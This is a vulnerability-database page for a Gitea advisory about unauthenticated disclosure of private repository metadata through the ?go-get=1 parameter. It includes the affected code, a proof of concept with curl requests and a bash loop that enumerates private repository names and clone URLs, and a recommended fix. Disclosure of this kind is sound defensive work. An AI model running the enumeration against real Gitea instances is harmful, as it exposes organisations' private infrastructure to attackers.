Gitea
CVE-2026-58507
MEDIUM
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Network-accessible with no authentication required; only metadata disclosed (not repo contents), justifying C:L; no integrity or availability impact applies.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionGitHub Advisory
| Field | Value |
|---|---|
| Affected File | routers/web/repo/githttp.go, services/context/repo.go |
| Affected Functions | httpBase(), EarlyResponseForGoGetMeta() |
| Affected Lines | githttp.go:63-66, services/context/repo.go:374-396 |
| Prerequisite | None - fully unauthenticated |
---
Description
Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing <meta name="go-import"> and <meta name="go-source"> tags - regardless of whether:
- The repository is private
- The requesting user is authenticated
- The requesting user has any permission on the repository
The entry point is routers/web/repo/githttp.go:63-66:
func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
if ctx.FormString("go-get") == "1" {
context.EarlyResponseForGoGetMeta(ctx)
return nil // ← returns before any auth or permission check
}
...The EarlyResponseForGoGetMeta function (services/context/repo.go:379-396) is called unconditionally, and the function's own docstring documents the intended behavior:
// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
username := ctx.PathParam("username")
reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
...
ctx.PlainText(http.StatusOK, htmlMeta) // ← HTTP 200, no auth check
}The function also appears at services/context/repo.go:444, 516, 571 - all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.
The metadata returned includes:
- The full repository name and owner - confirming the repository exists
- The HTTP clone URL - a fully-formed URL pointing to the repository
- The source browsing URL templates - which may reveal the default branch name
This allows an unauthenticated attacker to:
- Confirm existence of any private repository by name
- Enumerate private repository names through brute-force without triggering authentication failures
- Harvest clone URLs and default branch names of private repositories
---
Proof of Concept
Step 1 - Identify a private repository
Any private repository works. For this demonstration, admin/classified-internal is set to private:
---
Step 2 - Confirm access is denied without authentication
Standard requests to a private repository correctly return 404 for unauthenticated users.
---
Step 3 - Bypass using go-get parameter
curl -s "http://localhost:3000/admin/classified-internal?go-get=1"Actual response (HTTP 200):
<!doctype html>
<html>
<head>
<meta name="go-import"
content="localhost:3000/admin/classified-internal
git
http://localhost:3000/admin/classified-internal.git">
<meta name="go-source"
content="localhost:3000/admin/classified-internal
_
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}
http://localhost:3000/admin/classified-internal/src/branch/main{/dir}/{file}#L{line}">
</head>
<body>
go get --insecure localhost:3000/admin/classified-internal
</body>
</html>The response:
- Returns HTTP 200 (not 404) - confirming the repository exists
- Reveals the full clone URL:
http://localhost:3000/admin/classified-internal.git - Reveals the default branch name:
main - Reveals the owner username:
admin
This same response is returned whether or not the repository exists - the comment in EarlyResponseForGoGetMeta states it responds identically for both - however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.
---
Step 4 - Enumerate private repositories at scale
# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
if echo "$response" | grep -q "go-import"; then
clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
echo "[FOUND] admin/${name} → clone: http://${clone_url}"
fi
done---
Step 5 - Verify the same applies to the main web router
The vulnerability also exists via the standard web router for repository pages:
# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1" | grep "go-import"All return HTTP 200 with the metadata.
---
Impact Analysis
Direct impact:
| What is leaked | Sensitivity |
|---|---|
| Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products |
| Owner / organization name | Reveals organizational structure |
| Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint |
| Default branch name | Reduces brute-force surface for subsequent attacks |
---
Root Cause Analysis
The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.
The workaround - returning metadata unconditionally - was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.
---
Recommended Fix
The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta.
// routers/web/repo/githttp.go:63-66 - proposed fix
if ctx.FormString("go-get") == "1" {
// For public repos, always respond to support the go toolchain
if repo != nil && !repo.IsPrivate {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
// For private repos, only respond if the user is authenticated
// and has at least read access
if ctx.IsSigned {
if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil {
if perm.CanRead(unit.TypeCode) {
context.EarlyResponseForGoGetMeta(ctx)
return nil
}
}
}
// Unauthenticated request for a private repo - return 404 consistent
// with normal behavior; the go toolchain will prompt for credentials
ctx.PlainText(http.StatusNotFound, "Repository not found")
return nil
}This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.
---
AnalysisAI
Private repository existence disclosure in Gitea allows fully unauthenticated remote attackers to confirm the existence, enumerate names, harvest clone URLs, and identify default branch names of private repositories by appending the ?go-get=1 query parameter to any repository-scoped URL. All Gitea instances running versions prior to 1.27.0 are affected regardless of repository visibility configuration. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | No special conditions - remote unauthenticated exploitation against default configurations of any Gitea instance prior to v1.27.0 where private repositories exist. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 5.3 Medium with vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N accurately reflects the attack surface: fully network-accessible, zero complexity, no authentication, no user interaction required. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An unauthenticated external attacker with HTTP network access to a Gitea instance sends GET requests of the form `GET /orgname/{reponame}?go-get=1 HTTP/1.1` iterating over a wordlist of common repository names (e.g., `secrets`, `deploy`, `infra`, `api-keys`, `prod-config`). Each HTTP 200 response confirms the repository exists, leaks the full clone URL, and discloses the default branch name; HTTP responses for non-existent repositories are structurally identical but functionally distinguishable via a subsequent `git ls-remote` probe. … |
| Remediation | Upgrade to Gitea v1.27.0 or later, available at https://github.com/go-gitea/gitea/releases/tag/v1.27.0. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-200 – Information Exposure
View allSame technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-p4mj-98mv-xq26